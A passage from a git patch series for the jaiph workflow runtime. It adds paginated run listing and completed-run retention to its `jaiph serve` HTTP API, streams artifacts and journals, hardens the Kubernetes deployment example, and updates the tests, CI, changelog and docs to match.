["run-4", "run-3"], "newest first"); + + const next = bodyJson(await h.handleRequest(req("GET", "/v1/runs?limit=2&offset=2"))); + assert.deepEqual(next.runs.map((r: any) => r.run_id), ["run-2", "run-1"], "stable next page"); +}); + +test("GET /v1/runs clamps limit to the maximum and cannot return an unbounded response", async () => { + const h = makeHandler({ tools: [NOARG_TOOL], callTool: async () => ({ text: "ok", isError: false, exitStatus: 0 }) }); + await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + const page = bodyJson(await h.handleRequest(req("GET", "/v1/runs?limit=999999"))); + assert.equal(page.limit, 1000, "limit clamped to MAX_RUNS_PAGE"); + + // A malformed limit falls back to the bounded default rather than being unbounded. + const bad = bodyJson(await h.handleRequest(req("GET", "/v1/runs?limit=abc"))); + assert.equal(bad.limit, 100); +}); + // === cancellation === test("cancel: 202 then terminal cancelled, invoking child + container teardown", async () => { diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index 59047180..0af0d6d9 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -16,6 +16,11 @@ import { /** 1 MiB cap on request bodies (design doc). */ export const MAX_BODY_BYTES = 1024 * 1024; +/** Default page size for `GET /v1/runs` when the caller gives no `limit`. */ +export const DEFAULT_RUNS_PAGE = 100; +/** Hard maximum page size for `GET /v1/runs` — a `limit` above this is clamped. */ +export const MAX_RUNS_PAGE = 1000; + export type RunStatus = "running" | "succeeded" | "failed" | "cancelled"; /** In-memory record for one run: the public run object plus cancel bookkeeping. */ @@ -83,6 +88,20 @@ export interface ServeHandlerOptions { token?: string; /** Cap on simultaneously-running workflows (429 beyond it). */ maxConcurrent: number; + /** + * Max completed (terminal) runs kept in the in-memory registry. When the + * terminal count exceeds this, the oldest terminal records are evicted first. + * Active (`running`) runs are never evicted. `0` disables count eviction. + * Eviction only drops the in-memory record; the durable `run_summary.jsonl` + * and `artifacts/` on disk are untouched (their retention is the operator's). + */ + retainRuns?: number; + /** + * Max age in seconds of a completed run's `ended_at` before it is evicted + * from the in-memory registry. `0` disables age eviction. Same disk caveat + * as {@link retainRuns}. + */ + retainAgeSec?: number; /** Current-time source (ISO string), injectable for tests. */ now: () => string; /** Run-id source, injectable for tests. Defaults to `randomUUID`. */ @@ -194,10 +213,7 @@ export class ServeHandler { if (path === "/v1/runs") { if (method !== "GET") return this.methodNotAllowed(); - const runs = [...this.runs.values()] - .sort((a, b) => b.order - a.order) - .map((r) => this.toRunObject(r)); - return this.json(200, { runs }); + return this.listRuns(req); } const events = /^\/v1\/runs\/([^/]+)\/events$/.exec(path); @@ -320,6 +336,47 @@ export class ServeHandler { }; } + /** + * `GET /v1/runs`: newest-first page of runs. `limit` defaults to + * {@link DEFAULT_RUNS_PAGE} and is clamped to `[1, MAX_RUNS_PAGE]`; `offset` + * defaults to 0 (clamped to `>= 0`). The response can never be unbounded — + * at most `MAX_RUNS_PAGE` records regardless of the query. Order is stable: + * the monotonic `order` field is unique and never reused, so paging is + * deterministic across requests as long as no new run is inserted between + * them. `total` is the full registry size so a client can page through it. + */ + private listRuns(req: ServeRequest): ServeResponse { + const limit = clampInt(req.query.get("limit"), DEFAULT_RUNS_PAGE, 1, MAX_RUNS_PAGE); + const offset = clampInt(req.query.get("offset"), 0, 0, Number.MAX_SAFE_INTEGER); + const sorted = [...this.runs.values()].sort((a, b) => b.order - a.order); + const runs = sorted.slice(offset, offset + limit).map((r) => this.toRunObject(r)); + return this.json(200, { runs, total: sorted.length, limit, offset }); + } + + /** + * Drop terminal records past the retention limits so the registry cannot grow + * without bound over a long-lived server. Active runs are never touched, and + * only the in-memory record is removed — the durable journal and artifacts on + * disk are the operator's to prune. Called after every run finalizes. + */ + private evictCompleted(): void { + const ageSec = this.opts.retainAgeSec ?? 0; + if (ageSec > 0) { + const cutoff = Date.parse(this.opts.now()) - ageSec * 1000; + for (const r of this.runs.values()) { + if (!isTerminal(r.status) || !r.ended_at) continue; + const ended = Date.parse(r.ended_at); + if (Number.isFinite(ended) && ended < cutoff) this.runs.delete(r.run_id); + } + } + const max = this.opts.retainRuns ?? 0; + if (max > 0) { + // Oldest terminal records first (ascending `order`); keep the newest `max`. + const terminal = [...this.runs.values()].filter((r) => isTerminal(r.status)).sort((a, b) => a.order - b.order); + for (let i = 0; i < terminal.length - max; i += 1) this.runs.delete(terminal[i].run_id); + } + } + private cancelRun(id: string): ServeResponse { const record = this.runs.get(id); if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); @@ -424,12 +481,14 @@ export class ServeHandler { record.result_text = result.text; record.run_dir = result.runDir ?? null; record.status = record.cancelled ? "cancelled" : result.isError ? "failed" : "succeeded"; + this.evictCompleted(); } private finalizeError(record: RunRecord, err: unknown): void { record.ended_at = this.opts.now(); record.result_text = err instanceof Error ? err.message : String(err); record.status = record.cancelled ? "cancelled" : "failed"; + this.evictCompleted(); } private authorized(req: ServeRequest): boolean { @@ -474,3 +533,17 @@ export class ServeHandler { function isJsonContentType(contentType: string | undefined): boolean { return typeof contentType === "string" && contentType.split(";")[0].trim().toLowerCase() === "application/json"; } + +/** + * Parse a query param as an integer, clamped to `[min, max]`. A missing or + * malformed value falls back to `fallback` (itself already within range), so a + * hostile `?limit=` can never widen the page beyond `max`. + */ +function clampInt(raw: string | null, fallback: number, min: number, max: number): number { + if (raw === null || raw.trim() === "") return fallback; + const n = Number(raw); + if (!Number.isInteger(n)) return fallback; + if (n < min) return min; + if (n > max) return max; + return n; +} diff --git a/src/cli/serve/openapi.ts b/src/cli/serve/openapi.ts index eb87cc1b..d1ff0f33 100644 --- a/src/cli/serve/openapi.ts +++ b/src/cli/serve/openapi.ts @@ -143,17 +143,38 @@ export function buildOpenApi(tools: McpToolSpec[], serverInfo: OpenApiServerInfo paths["/v1/runs"] = { get: { operationId: "listRuns", - summary: "List runs started by this server (newest first)", + summary: "List runs started by this server (newest first, paginated)", security: BEARER_SECURITY, + parameters: [ + { + name: "limit", + in: "query", + required: false, + description: "Page size (default 100, clamped to 1000). The response is never unbounded.", + schema: { type: "integer", minimum: 1, maximum: 1000, default: 100 }, + }, + { + name: "offset", + in: "query", + required: false, + description: "Number of newest-first records to skip before the page.", + schema: { type: "integer", minimum: 0, default: 0 }, + }, + ], responses: { "200": { - description: "Runs started by this server process.", + description: "One page of runs started by this server process, plus the total registry size.", content: { "application/json": { schema: { type: "object", - properties: { runs: { type: "array", items: { $ref: "#/components/schemas/Run" } } }, - required: ["runs"], + properties: { + runs: { type: "array", items: { $ref: "#/components/schemas/Run" } }, + total: { type: "integer" }, + limit: { type: "integer" }, + offset: { type: "integer" }, + }, + required: ["runs", "total", "limit", "offset"], }, }, }, From de9f10160e29ef46ece3171fc1e03ffdb2be7bb4 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 15:38:28 +0200 Subject: [PATCH 11/24] Chore: lower Claude capacity threshold Pause engineer queue processing once current-session usage exceeds 90 percent. Co-authored-by: Cursor --- .jaiph/engineer.jh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.jaiph/engineer.jh b/.jaiph/engineer.jh index 95af445c..2f991cdc 100755 --- a/.jaiph/engineer.jh +++ b/.jaiph/engineer.jh @@ -214,8 +214,8 @@ script check_claude_capacity = ``` ;; esac - printf 'Claude current session usage is %s%%.\n' "$percent" - (( percent <= 95 )) + printf 'Claude current session usage is %s%%.' "$percent" + (( percent <= 90 )) ``` script first_line_task = ``` From ba416d08ac16bdbf145099678d2e6b432066132a Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 15:38:29 +0200 Subject: [PATCH 12/24] Fix: harden deployment and stream serve I/O Make the Kubernetes example operationally safe and keep HTTP request, event, and artifact handling bounded by bytes transferred. Co-authored-by: Cursor --- .github/workflows/ci.yml | 18 +++ CHANGELOG.md | 4 + QUEUE.md | 36 ------ docs/cli.md | 7 +- docs/deploy.md | 14 +- docs/deploy/k8s.yaml | 108 ++++++++++++---- docs/env-vars.md | 1 + docs/serve.md | 2 + e2e/test_all.sh | 1 + e2e/tests/150_k8s_deploy.sh | 211 +++++++++++++++++++++++++++++++ integration/serve-server.test.ts | 67 +++++++++- src/cli/commands/serve.ts | 13 +- src/cli/serve/handler.test.ts | 113 ++++++++++++++++- src/cli/serve/handler.ts | 96 ++++++++++---- src/cli/serve/runfiles.test.ts | 98 +++++++++++++- src/cli/serve/runfiles.ts | 126 ++++++++++++------ src/cli/serve/server.test.ts | 187 +++++++++++++++++++++++++++ src/cli/serve/server.ts | 68 +++++++++- 18 files changed, 1029 insertions(+), 141 deletions(-) create mode 100755 e2e/tests/150_k8s_deploy.sh create mode 100644 src/cli/serve/server.test.ts diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 615110da..35bad025 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -41,12 +41,30 @@ jobs: # `kubectl apply --dry-run=client` still needs an API server for resource # discovery (RESTMapper), so provision a throwaway kind cluster for it. + # The same cluster then backs the real deploy test below. - name: Create kind cluster uses: helm/kind-action@v1 + with: + cluster_name: jaiph-e2e + # Fast schema gate — cheap, but only proves the manifest parses. - name: Dry-run apply the standalone deploy manifest run: kubectl apply --dry-run=client -f docs/deploy/k8s.yaml + - name: Build runtime image for the deploy test + run: docker build -t jaiph-e2e-runtime:local -f runtime/Dockerfile . + + # Real deployment contract: external Secret gate, pod hardening + # (non-root, no privilege escalation, dropped caps, no SA token, + # read-only rootfs), an authenticated HTTP run, and its journal on the + # writable runs volume. + - name: Deploy and exercise the manifest on kind + run: | + JAIPH_E2E_SKIP_INSTALL=1 \ + JAIPH_E2E_KIND_CLUSTER=jaiph-e2e \ + JAIPH_E2E_DOCKER_IMAGE=jaiph-e2e-runtime:local \ + bash e2e/tests/150_k8s_deploy.sh + e2e: name: E2E (${{ matrix.os }}, ${{ matrix.label }}) runs-on: ${{ matrix.os }} diff --git a/CHANGELOG.md b/CHANGELOG.md index 53cc06a5..402a32f5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,8 +12,12 @@ ## All changes +- **Fix — make `jaiph serve` request, event, and artifact I/O scale with bytes transferred:** the HTTP layer still performed avoidable whole-resource work on four paths, all now proportional to the bytes actually moved. **Request bodies settle on abort:** `readBody` (`src/cli/serve/server.ts`) only settled on `end`/`error`, so a client destroyed mid-upload left the promise pending forever with its buffered chunks pinned; it now settles on premature `close`/`error` with `aborted: true`, the connection handler drops the request without invoking the router, and no run slot is ever occupied (the helper is exported for direct unit testing of the settlement contract). **Run-dir resolution is cached:** the events/artifacts endpoints located a still-running run by scanning the whole `.jaiph/runs` tree (`findRunDir`) on *every* SSE poll until finalize set `run_dir`; `ServeHandler.runDirFor` now caches the first resolver hit on the record (`RunRecord.resolvedRunDir`, never part of the public run object, evicted with the record), so one live SSE connection scans at most once no matter how long it follows. **Journals follow by fd + offset:** the SSE follower reread the entire `run_summary.jsonl` from disk on every 250 ms poll; the new `createJournalFollower` (`src/cli/serve/runfiles.ts`) holds an open file descriptor and a byte offset, reads only appended bytes with positional `readSync`, buffers a partial trailing line in memory instead of rereading it, and is closed in the stream's `finally` so a disconnect releases the fd. **Artifacts (and NDJSON journals) stream:** `GET /v1/runs/{id}/artifacts/{path}` loaded the complete file into memory (`readFileSync`) before responding; the handler now returns a `bodyFile` `{path, size}` that the HTTP layer pipes through `node:stream.pipeline` — backpressure pauses the read when the socket is congested, a client disconnect destroys the file stream, `content-length` is set from the stat and the read is pinned to it (`end: size - 1`) so an appending journal can't overrun the advertised length, and a multi-gigabyte artifact costs no server memory. The NDJSON `GET /v1/runs/{id}/events` path streams the journal the same way. An explicit size policy joins the streaming: `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap, since streaming already bounds memory) refuses larger artifacts with `413 E_ARTIFACT_TOO_LARGE`. Tests (each verified to fail against the pre-fix behavior): `src/cli/serve/server.test.ts` (readBody settles promptly on premature close; a destroyed mid-upload request occupies no run slot, never starts a workflow, and the server keeps serving; a 1 MiB artifact round-trips byte-identically through a real socket with `content-length`; a stalled 256 MiB download's file stream is destroyed when the client disconnects), `src/cli/serve/handler.test.ts` (a live SSE connection resolves the run dir with exactly one scan across many polls; the artifact cap returns 413 past the limit while smaller files stream; NDJSON/artifact responses carry `bodyFile` + `content-length`), `src/cli/serve/runfiles.test.ts` (an instrumented-`fs` SSE follow proves each appended journal byte is read exactly once and never before the current offset, and that no poll loads the journal whole; the follower completes a split line from its buffered tail), and `integration/serve-server.test.ts` (a 3 GiB sparse artifact streams to a real client with the serve process's RSS sampled below 1.5 GiB throughout — a buffering server would hold 3 GiB+). Docs: a streaming-download + `JAIPH_SERVE_MAX_ARTIFACT_BYTES` note in the artifact-download step of [Serve workflows over HTTP](docs/serve.md), the `JAIPH_SERVE_MAX_ARTIFACT_BYTES` row in [Environment variables](docs/env-vars.md), the artifact/events endpoint rows plus the `413 E_ARTIFACT_TOO_LARGE` error code and serve-limits bullet in [CLI](docs/cli.md#jaiph-serve), and the `jaiph serve` usage text. + - **Fix — bound `jaiph serve` memory: per-run output caps, completed-run retention, and paginated listing:** `jaiph serve`'s concurrency cap limits *active* children but not process memory, so over a long-lived server an authenticated caller could exhaust it three ways — the in-memory run map grew forever, each completed run's `result_text` stayed resident forever, and a single run's raw stdout/stderr/`log` capture accumulated unbounded. All three are now bounded. **Per-run output caps:** a new `OutputCaps` (`src/cli/exec/call.ts`) threads a UTF-8 byte cap through the call layer; `attachOutputCollector` keeps per-stream byte counters and one-shot "cut" flags so stdout, stderr, and collected `log` output each stop accumulating at the cap, and `composeResult` caps the composed `result_text` as a final backstop. Overflow is dropped and replaced with a deterministic `TRUNCATION_MARKER` (`[jaiph: output truncated — exceeded the configured byte cap]`); the new `capBytes` helper slices on a byte boundary and drops a trailing partial multibyte char so the head stays valid UTF-8. `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) sets one value applied **independently** to each of the four channels. The default caps are effectively unbounded (`Number.MAX_SAFE_INTEGER` via `DEFAULT_OUTPUT_CAPS`), so `jaiph mcp` and direct callers are byte-for-byte unchanged — only `jaiph serve` passes finite caps. **Completed-run retention:** `ServeHandler.evictCompleted` (`src/cli/serve/handler.ts`), called after every finalize, drops terminal records past `JAIPH_SERVE_RETAIN_RUNS` (default `500`, oldest terminal `order` evicted first) and older than `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`; `0` disables age eviction). **Active (`running`) runs are never evicted**, and eviction removes only the in-memory record — the durable `run_summary.jsonl` journal and `artifacts/` on disk are untouched and remain the operator's to prune. **Bounded listing:** `GET /v1/runs` is now paginated via `?limit` (default `100`, clamped to `1000` by `clampInt`) and `?offset`, returning `{runs, total, limit, offset}`; a hostile `?limit=` can never widen the page past the maximum, so the response is never unbounded, and the monotonic unique `order` field keeps newest-first paging stable. The OpenAPI document (`src/cli/serve/openapi.ts`) gains the `limit`/`offset` parameters and the `total`/`limit`/`offset` response fields. `jaiph serve` startup parses the three env vars with a shared `intEnv` validator (a non-integer or out-of-range value prints a diagnostic to stderr and exits `1`) and logs the effective memory bounds plus the durable-artifact operator caveat. Tests: `src/cli/exec/call.test.ts` (`capBytes` verbatim vs. marked overflow and no U+FFFD split; `composeResult` caps a runaway success return and a runaway failure narrative; `attachOutputCollector` bounds stdout/stderr/logs each with a marker), `src/cli/serve/handler.test.ts` (count retention evicts only the oldest terminal records; an active run survives even past the budget; age retention evicts once past the window; pagination is bounded, newest-first stable, and reports `total`; `limit` is clamped to the maximum), and `e2e/tests/147_serve_http_api.sh` (`?limit=1` returns exactly one record while echoing the limit and full total). Concurrency, cancellation, SSE, and artifact tests continue to pass. Docs: a new [Bound memory over a long-lived server](docs/serve.md#8-bound-memory-over-a-long-lived-server) section in [Serve workflows over HTTP](docs/serve.md), the three `JAIPH_SERVE_*` rows in [Environment variables](docs/env-vars.md), and the paginated `GET /v1/runs` row plus a memory-bounds bullet in the `jaiph serve` section of [CLI](docs/cli.md#jaiph-serve). +- **Fix — make the Kubernetes example runnable and hardened by default:** `docs/deploy/k8s.yaml` used to mount the workflow ConfigMap read-only at `/work` while standalone host mode writes runs under `/.jaiph/runs` — schema-valid, but a real run could never land its journal — and it shipped applyable placeholder credentials (`JAIPH_SERVE_TOKEN: "replace-me-…"`) plus none of the pod hardening `docs/deploy.md` says the operator must supply. The manifest now sets `JAIPH_RUNS_DIR=/jaiph/runs` onto a dedicated writable `emptyDir` (swap for a PVC for durability) while `/work` stays read-only; the `Secret` manifest is **gone** — the Deployment references an external `jaiph-credentials` Secret as a required `envFrom`, so a missing Secret holds the pod in `CreateContainerConfigError` instead of ever starting unauthenticated, and the header documents the `kubectl create secret generic` contract. Hardening is on by default: `runAsNonRoot` with the image's fixed UID/GID `10001`, `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `seccompProfile: RuntimeDefault`, `automountServiceAccountToken: false`, and `readOnlyRootFilesystem: true` with writable `emptyDir`s only where Jaiph and the agent CLIs genuinely write (`/tmp`, and a fresh `$HOME` at `/jaiph/home` — the baked `PATH` still resolves `cursor-agent` from the read-only image home). Commented env entries show credential-free OTLP / Sentry wiring (secrets go in the Secret, addresses in the manifest). Tests: new `e2e/tests/150_k8s_deploy.sh` (gated on docker+kind+kubectl; run in CI's `k8s-manifest` job against a kind cluster) applies the manifest with the locally built image, asserts the missing-Secret gate and every hardening field (spec fields **and** effective behavior: `id -u` is `10001`, no SA token file, root FS and `/work` non-writable), invokes the `health` workflow over HTTP with bearer auth (and asserts `401` without it), asserts the run's `run_dir` is on the runs volume, and byte-compares `GET /v1/runs/{id}/events` against `run_summary.jsonl` read from that volume — `kubectl apply --dry-run=client` remains as the fast schema gate but is no longer the only deployment test. Docs: the Kubernetes section of [Deploy the runtime image standalone](docs/deploy.md) now covers the external Secret contract, the hardening set, and the writable-mount map. + - **Fix — keep `jaiph mcp` generations alive while calls are in flight, and drain before shutdown:** `jaiph mcp` handles tool calls concurrently, but a hot reload used to delete the previous generation's out dir (emitted scripts + serialized graph) the instant it swapped — `rmSync(previousOutDir, …)` ran synchronously in the reload handler — so a call that started just before the reload lost the scripts its remaining steps spawn from, and signal shutdown removed the shared temp root without draining or cancelling active calls. `jaiph serve` already refcounted its generations (HTTP runs can outlive a reload); MCP now gets the same guarantee from a **shared** lifecycle. The `LiveGeneration` refcount model was extracted from `src/cli/commands/serve.ts` into `createGenerationTracker` in `src/cli/shared/generation.ts` and is now used by both commands: each call `acquire()`s a **lease** on the generation live at call start (`lease.state` is stable for the call's lifetime), and a superseded generation's out dir is deleted only when its **last lease releases** — immediately on swap when idle, otherwise when the final in-flight call settles. A call spanning one or more reloads therefore always runs its remaining script steps from the generation it captured, and no generation directory is left behind after all calls settle. **Shutdown is now drain-then-cancel** (matching `jaiph serve`): stdin closing or the **first** `SIGINT`/`SIGTERM` stops accepting input and awaits every in-flight call before removing the temp root and exiting `0` — a draining call keeps its scripts on disk until it settles. A **second** signal cancels instead of waiting: the new `McpServer.cancelAll()` (`src/cli/mcp/server.ts`) invokes each in-flight call's cancel handle, terminating its run's child process tree (`SIGINT`, then `SIGKILL` after a grace period) and, in Docker mode, force-removing its container (`docker rm -f`), so no child process or container is orphaned; unlike a client `notifications/cancelled`, the calls are **not** marked cancelled — each killed run settles with a normal `isError` response, so the drain awaiting them completes deterministically and the server still exits `0`. Tests: new `src/cli/shared/generation.test.ts` (lease pins the generation across a swap; last release deletes the superseded dir; concurrent leases across multiple swaps settle out-of-order and leave only the current dir; release is idempotent and cannot free a dir another lease still holds), `src/cli/mcp/server.test.ts` (`cancelAll` kills every in-flight run yet still delivers each `isError` response), and a new `e2e/tests/149_mcp_generation_lifecycle.sh` (wired into `e2e/test_all.sh`): a slow call started before a reload returns the **old** generation's value while a post-reload call returns the **new** one and stdin-close drains both; SIGTERM drains an in-flight call to completion with no orphaned script process; a second SIGTERM cancels with an `isError` result and no orphan. Docs: updated `jaiph mcp` shutdown/exit behavior and a generation-lease note in [CLI](docs/cli.md#jaiph-mcp), an in-flight-call note under hot reload and a new "Shutdown (drain, then cancel)" section in [Serve workflows as MCP tools](docs/mcp.md). - **Fix — redact credentials from every returned workflow result, not just the durable journal:** `jaiph serve`'s `result_text` and a `jaiph mcp` tool error could return a secret that events, OTLP, and Sentry all redacted. The failure text was built in `composeResult` (`src/cli/exec/call.ts`) from the run's **live** captured output — failed-step detail, raw stderr/stdout, and collected `log` messages — whereas only the durable `run_summary.jsonl` copies were credential-redacted by `RuntimeEventEmitter`; a workflow that echoed a `*_API_KEY` / `*_TOKEN` / `*_SECRET` value to a stream and then failed leaked it verbatim through `?wait=true`, `GET /v1/runs/{id}`, and MCP tool results. The redaction rule is now **one shared helper**, `redactCredentials` (extracted from `RuntimeEventEmitter` into the new `src/runtime/kernel/redact.ts` — same credential-key suffixes, same ≥8-char threshold), imported by both the journal writer and `composeResult`. `composeResult` redacts the fully assembled failure text once, so step detail, raw streams, and logs all pass the same boundary regardless of which branch contributed them, and it does not rely on the (unredacted-at-source) live `__JAIPH_EVENT__` stream. This is the single boundary both `jaiph serve` (`result_text`) and `jaiph mcp` (tool results) return through; on the Docker path the `--env` passthrough (which flows through `DockerSpawnOptions.extraEnv`, not `runtimeEnv`) is merged back in so those values redact too. **Successful return values are unchanged:** a workflow's `return` is intentional API output, not diagnostic capture, and is returned verbatim (its `log`-output fallback, being diagnostic capture, is redacted). Tests: `src/cli/exec/call.test.ts`, and integration coverage that a failing workflow echoing a credential to both streams never exposes the value through `?wait=true`, `GET /v1/runs/{id}` (`integration/serve-server.test.ts`), or an MCP tool result (`integration/mcp-server.test.ts`) while `[REDACTED]` and the failed-step diagnostics are retained; the existing event-journal, OTLP, and Sentry redaction tests still pass. Docs: [Serve workflows over HTTP](docs/serve.md), [Call a tool and read the result](docs/mcp.md), and the redaction section of [Architecture](docs/architecture.md). diff --git a/QUEUE.md b/QUEUE.md index f70763ed..074dc18f 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,42 +14,6 @@ Process rules: *** -## Make the Kubernetes example runnable and hardened by default #dev-ready - -The current manifest mounts the workflow ConfigMap read-only at `/work`, while standalone host mode writes runs under `/work/.jaiph/runs`; the example is schema-valid but cannot complete a real run. It also ships publicly known placeholder secrets and omits the pod hardening that `docs/deploy.md` says the operator must supply. - -Scope: - -- Mount a writable `emptyDir` or PVC for `JAIPH_RUNS_DIR` without making workflow sources writable. -- Remove applyable placeholder credentials from the base manifest; document and validate an external Secret contract. -- Add `runAsNonRoot`, fixed UID/GID, `allowPrivilegeEscalation: false`, dropped capabilities, a runtime-default seccomp profile, and disabled service-account token mounting. -- Provide writable mounts only for paths genuinely required by Jaiph and agent CLIs; keep the remaining filesystem read-only where feasible. -- Add optional OTLP and Sentry env wiring examples without embedding credentials. - -Acceptance: - -- A Kind-based test applies the manifest, invokes the HTTP workflow with auth, observes a successful run, and reads its journal from the writable runs volume. -- The pod runs as non-root and the test fails if privilege escalation, capabilities, or the default service-account token are reintroduced. -- `kubectl apply --dry-run=client` remains a fast schema check, but is not the only deployment test. - -## Make HTTP request, event, and artifact I/O scale with bytes transferred #dev-ready - -The HTTP layer still performs avoidable whole-resource work: an aborted request body can leave `readBody` pending, SSE repeatedly scans historical run directories until `run_dir` is known, each SSE poll rereads the whole journal, and artifact downloads load the complete file into memory. - -Scope: - -- Settle request-body reads on `aborted`/premature `close` and stop all associated work. -- Cache `run_id -> run_dir` as soon as it is first resolved so a live SSE stream does not repeatedly scan the runs tree. -- Follow journals with an open file descriptor and byte offset instead of rereading prior bytes on every poll. -- Stream artifacts with backpressure and an explicit configurable size policy; do not buffer the complete artifact. - -Acceptance: - -- Destroying a request mid-upload settles its handler promptly and leaves no request or run slot occupied. -- With many historical runs, one live SSE connection performs at most one full run-directory resolution scan. -- Instrumented SSE tests prove bytes before the current offset are not reread. -- A multi-gigabyte sparse artifact can be served with bounded process memory, and disconnecting the client closes the file stream. - ## Use one execution-policy contract across run, serve, and MCP #dev-ready The shared parser accepts flags for every command, but commands silently ignore options they do not destructure. For example, `jaiph serve --unsafe` and `jaiph mcp --inplace` parse successfully but do not apply those flags. `run` exposes sandbox flags while long-lived modes require env vars, creating different mental models for the same execution engine. diff --git a/docs/cli.md b/docs/cli.md index 606c8ed7..148a2255 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -378,17 +378,18 @@ Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to s | `POST /v1/workflows/{name}/runs` | bearer | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. | | `GET /v1/runs` | bearer | Runs started by this process (in-memory), newest first. Paginated: `?limit` (default `100`, clamped to `1000`), `?offset` (default `0`). Response is `{runs, total, limit, offset}` and never unbounded. | | `GET /v1/runs/{id}` | bearer | The run object. `404` unknown. | -| `GET /v1/runs/{id}/events` | bearer | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot; `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | +| `GET /v1/runs/{id}/events` | bearer | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot, streamed from disk (never buffered whole); `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | | `GET /v1/runs/{id}/artifacts` | bearer | `{artifacts: [{path, size, mtime}]}` for files published under the run's `artifacts/` (empty when none). `404` unknown. | -| `GET /v1/runs/{id}/artifacts/{path}` | bearer | Download one published file (`application/octet-stream`). Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. | +| `GET /v1/runs/{id}/artifacts/{path}` | bearer | Download one published file (`application/octet-stream`), streamed with backpressure — never buffered whole, so an arbitrarily large file costs no server memory and a client disconnect closes the file. Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. `413 E_ARTIFACT_TOO_LARGE` when the file exceeds `JAIPH_SERVE_MAX_ARTIFACT_BYTES`. | | `POST /v1/runs/{id}/cancel` | bearer | `202`; the run reaches `cancelled`. `409` if already terminal. | -The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415` (non-`application/json` body), and `429 E_TOO_MANY_RUNS`. +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), and `429 E_TOO_MANY_RUNS`. ### Auth and limits - `JAIPH_SERVE_TOKEN` (env only) enables a bearer token required on every `/v1/*` request, compared in constant time. `/healthz`, `/openapi.json`, and `/docs` stay unauthenticated (schema metadata only). On loopback the token is optional; binding a non-loopback `--host` without it is a startup error. - `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs; requests beyond it get `429`. +- `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap) refuses artifact downloads larger than the limit with `413`. Downloads stream with backpressure regardless, so the default keeps server memory bounded no matter the file size; set a finite cap only to reject oversized downloads outright. - Memory bounds keep a long-lived server from growing without limit: `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) caps collected stdout, stderr, log output, and the resident `result_text` per run (overflow dropped with a truncation marker); `JAIPH_SERVE_RETAIN_RUNS` (default `500`) and `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`, `0` disables) bound how many completed runs stay in the in-memory registry, evicting the oldest terminal records first. **Active runs are never evicted**, and eviction drops only the in-memory record — durable `.jaiph/runs` journals and artifacts persist on disk and are the operator's to prune. See [Serve workflows over HTTP](serve.md#8-bound-memory-over-a-long-lived-server). - Execution and hot reload are identical to `jaiph mcp`; a superseded generation's scripts dir survives until its in-flight HTTP runs finish. diff --git a/docs/deploy.md b/docs/deploy.md index 09a3861d..07c8105f 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -61,20 +61,28 @@ Reach for this image when you want the whole toolchain and all three backends pr ## Kubernetes -A complete, apply-ready manifest lives at [`docs/deploy/k8s.yaml`](https://github.com/jaiphlang/jaiph/blob/main/docs/deploy/k8s.yaml). It defines a **Deployment**, a **Secret** for backend credentials (and the serve token), and a **Service**. Validate it without a cluster: +A complete, apply-ready manifest lives at [`docs/deploy/k8s.yaml`](https://github.com/jaiphlang/jaiph/blob/main/docs/deploy/k8s.yaml). It defines a **Deployment** and a **Service** — credentials are deliberately **not** in the file. Create the `jaiph-credentials` Secret out-of-band first: ```bash -kubectl apply --dry-run=client -f docs/deploy/k8s.yaml +kubectl create secret generic jaiph-credentials \ + --from-literal=JAIPH_SERVE_TOKEN="$(openssl rand -hex 32)" \ + --from-literal=ANTHROPIC_API_KEY="sk-ant-..." # only the backend key(s) your workflows use +kubectl apply -f docs/deploy/k8s.yaml ``` +The Deployment references the Secret as a 